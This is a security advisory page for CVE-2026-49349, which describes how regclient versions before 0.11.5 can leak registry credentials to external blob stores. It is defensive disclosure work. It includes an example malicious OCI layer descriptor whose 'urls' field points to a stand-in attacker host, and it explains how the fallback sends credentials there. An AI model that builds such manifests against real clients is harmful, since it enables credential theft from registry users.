CVE-2026-49349

regclient may leak authentication credentials to external blob stores

CVSS 3.1 6.8 MEDIUMEUVD CVSS 3.1 6.8 CVSS 3.1 · [email protected] · Secondary 6.8 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/regclient/regclient 0.11.5osv · severity unknownFixed by github.com/regclient/regclient 0.11.5KEV status unknown

Original advisory

cve-program · CVE-2026-49349

Published

regclient is a Docker and OCI Registry Client in Go. Prior to version 0.11.5, credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. Version 0.11.5 fixes the issue.

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euvd · EUVD-2026-57221

Published

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nvd · CVE-2026-49349

Published

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osv · GHSA-qvqc-4c52-x6qp

Published

Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. ## Example attack A malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host: ```json { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:...", "size": 1024, "urls": ["https://malicious.example.org/blobs/sha256/..."] } ``` When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server. ## Timeline - 2026-05-25: Advisory submitted - 2026-05-26: Fix released ## Credit Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security

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osv · GO-2026-5822

Published

regclient may leak authentication credentials to external blob stores in github.com/regclient/regclient

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Affected versions, risk and source history

Exploitation and risk

Source status

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Risk history

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Advisory history

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15 Nov 2026 14:51:18 UTC